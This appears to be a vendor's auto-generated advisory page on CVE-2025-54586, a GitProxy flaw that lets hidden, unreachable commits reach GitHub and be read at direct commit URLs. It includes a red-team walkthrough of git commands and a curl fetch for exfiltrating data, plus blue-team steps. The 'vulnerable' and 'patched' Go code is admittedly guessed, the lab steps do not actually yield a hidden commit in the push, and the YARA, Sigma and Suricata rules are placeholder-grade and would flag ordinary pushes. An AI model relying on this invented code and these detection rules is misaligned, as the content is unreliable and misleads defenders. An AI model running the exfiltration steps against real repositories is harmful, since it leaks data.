CVE-2025-54586
Executive Summary
CVE-2025-54586 is a high-severity vulnerability in GitProxy versions 1.19.1 and below. GitProxy is an application that sits between developers and a Git remote endpoint (e.g., GitHub). The vulnerability allows an attacker to inject extra commits into the pack sent to GitHub that are not pointed to by any branch. These “hidden” commits are not visible in the repository’s branch history, but GitHub still serves them at their direct commit URLs. This enables an attacker to exfiltrate sensitive data without leaving a trace in the visible branch view. The vulnerability completely compromises repository confidentiality. The patch is available in version 1.19.2.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the GitProxy application, which is a Go-based tool. Organizations using GitProxy as a proxy or intermediary for Git operations should immediately update to version 1.19.2. There is no known public exploit code or proof-of-concept at this time.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
- Threat Level: High – The vulnerability allows silent data exfiltration with no user interaction and no visible trace in the repository.
Deep Dive & Mechanics
GitProxy acts as a man-in-the-middle between developers and a Git remote (e.g., GitHub). When a developer pushes commits, GitProxy processes the pack data and forwards it to the remote. The vulnerability lies in how GitProxy handles pack data: it does not properly validate that all commits in the pack are reachable from a branch or tag. An attacker can craft a push that includes extra commits that are not referenced by any branch. These commits are still sent to GitHub and stored, but they do not appear in the repository’s visible history. However, GitHub serves these commits at their direct commit URLs (e.g., https://github.com/user/repo/commit/<hash>). This allows an attacker to exfiltrate sensitive data by embedding it in these hidden commits and then accessing them via the direct URL.
The attack flow:
- Attacker gains access to a GitProxy instance (e.g., via compromised credentials or network access).
- Attacker pushes a pack containing legitimate commits plus hidden commits with sensitive data.
- GitProxy forwards the pack to GitHub without filtering out the hidden commits.
- The hidden commits are stored on GitHub but not visible in any branch.
- Attacker retrieves the sensitive data by accessing the direct commit URLs.
Vulnerable vs. Patched Code
Vulnerable Code (GitProxy <= 1.19.1): The vulnerable code likely does not verify that all commits in a pack are reachable from a reference (branch or tag). It simply forwards the pack to the remote.
// Vulnerable: No validation of commit reachability
func processPack(packData []byte) {
// Forward pack to remote without checking for hidden commits
remote.SendPack(packData)
}
Patched Code (GitProxy >= 1.19.2): The patched code adds validation to ensure that only commits reachable from a reference are included in the pack.
// Patched: Validate that all commits are reachable from a reference
func processPack(packData []byte) error {
commits := parseCommits(packData)
refs := getRefs()
for _, commit := range commits {
if !isReachableFromRef(commit, refs) {
return fmt.Errorf("commit %s is not reachable from any reference", commit.Hash)
}
}
remote.SendPack(packData)
return nil
}
Exploitation & Lab Setup
Red Team (Attacker)
- Setup: Deploy a GitProxy instance (version 1.19.1) in a lab environment. Configure it to proxy to a test GitHub repository.
- Craft Hidden Commits: Use Git commands to create a commit that is not attached to any branch.
git init echo "sensitive data" > secret.txt git add secret.txt git commit -m "hidden commit" # Get the commit hash HASH=$(git rev-parse HEAD) # Remove the branch reference git checkout --orphan temp git commit -m "temp" git branch -D main - Push via GitProxy: Push the pack containing the hidden commit through GitProxy.
git push gitproxy://target/repo +HEAD:refs/heads/main - Exfiltrate: Access the hidden commit via its direct URL on GitHub.
curl https://github.com/target/repo/commit/$HASH
Blue Team (Defender)
- Detection: Monitor for pushes that contain commits not referenced by any branch. Use Git hooks or proxy logs to detect anomalies.
- Audit: Regularly audit GitHub repositories for commits that are not reachable from any branch or tag.
git fsck --unreachable - Mitigation: Update GitProxy to version 1.19.2 immediately. Implement network segmentation to restrict access to GitProxy instances.
Indicators of Compromise (IOCs)
- Network: Unusual push patterns to GitProxy from unexpected IPs.
- GitHub: Commits that are not visible in any branch but are accessible via direct URL.
- Logs: GitProxy logs showing pushes with a high number of commits or unusual pack sizes.
- File: Presence of
secret.txtor other sensitive files in hidden commits.
Detection Engineering
YARA Rule
rule Detect_Hidden_Commits_GitProxy {
meta:
description = "Detects hidden commits in Git pack data"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-54586"
strings:
$git_header = "PACK"
$commit_obj = "commit "
condition:
$git_header at 0 and #commit_obj > 1
}
Sigma Rule
title: Detection of Hidden Commits via GitProxy
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects pushes containing commits not referenced by any branch
author: Valters IT
logsource:
category: application
product: gitproxy
detection:
selection:
event: push
pack_size: "> 10000"
condition: selection
falsepositives:
- Legitimate large pushes
level: high
Suricata Rule
alert tcp any any -> any 9418 (msg:"CVE-2025-54586 GitProxy Hidden Commit Exfiltration"; flow:to_server; content:"PACK"; depth:4; content:"commit "; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade GitProxy to version 1.19.2 or later.
- Workaround: If upgrade is not possible, implement a reverse proxy that validates all commits in a pack are reachable from a reference before forwarding.
- Monitoring: Enable logging on GitProxy and monitor for unusual push patterns.
- Audit: Run
git fsck --unreachableon all repositories to identify any existing hidden commits. - Network: Restrict access to GitProxy to trusted IPs and use VPNs.
Valters IT
Securing Your Digital Frontier